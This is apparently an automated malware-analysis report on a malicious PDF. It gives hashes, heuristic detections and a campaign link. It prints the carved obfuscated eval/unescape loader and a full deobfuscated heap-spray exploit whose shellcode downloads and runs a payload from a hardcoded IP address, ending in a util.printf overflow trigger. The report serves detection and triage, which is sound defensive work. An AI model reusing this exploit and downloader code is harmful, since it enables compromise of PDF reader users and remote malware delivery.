Malicious PDF / .TXT — malware analysis report

Static analysis result for SHA-256 281afb4645cc1e30…

MALICIOUS

PDF / .TXT

1.9 KB First seen: 2026-05-11
MD5: 906b523722843748fe120018eb79ca9b SHA-1: a19fa230da18f3e09336217e219ce8d889f8e548 SHA-256: 281afb4645cc1e30d7ff140e052aa8281c10c03f17235fb634ba10108bbe662f
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 Service Execution: JavaScript T1027 Obfuscated Files or Information

The PDF contains embedded JavaScript, which is heavily obfuscated using eval(), unescape(), and String.fromCharCode() functions. The heuristics indicate that this script is designed to execute arbitrary code. The presence of obfuscated JavaScript streams and the use of these decoding functions strongly suggest the script's purpose is to download and execute a second-stage payload. The extracted file names 'javascript_obj111611_000.js' and 'legacy_pdfkit_stage_000.js' further support the analysis of embedded script content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/eval(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/unescape(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/this.subject.replace(/Y/g,String.fromCharCode(37)).replace(/R/g,'F')/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/)/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://87.118.81.148/i9rt/l.php?i=5 Referenced by PDF JavaScript
🗂 Part of campaign: 2iii.org 14 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x670 295 bytes
SHA-256: 0c76cda798ef77d3534d0ecfe9b37e2225dfe992b937194fe3020d8fc0ba3acc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/eval(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/unescape(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/this.subject.replace(/Y/g,String.fromCharCode(37)).replace(/R/g,'F')/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/)/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x189 2828 bytes
SHA-256: 9b1a001175e2cd895c5251e8d8613401b24239c8dc4fed8c409bc3fbf2bd8b4b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload = unescape("%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u382f%u2e37%u3131%u2e38%u3138%u312e%u3834%u692f%u7239%u2f74%u2e6c%u6870%u3f70%u3d69%u0035%u9000");heapblock = nop + payload;bigblock = unescape("%u0A0A%u0A0A");headersize = 20;spray = headersize + heapblock.length;while (bigblock.length < spray){bigblock += bigblock;}fillblock = bigblock.substring(0, spray);block = bigblock.substring(0, bigblock.length - spray);while (block.length + spray < 0x40000){block = block + block + fillblock;}mem = new Array();for (i = 0; i < 1400; i ++ ){mem[i] = block + heapblock;}var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f", num);

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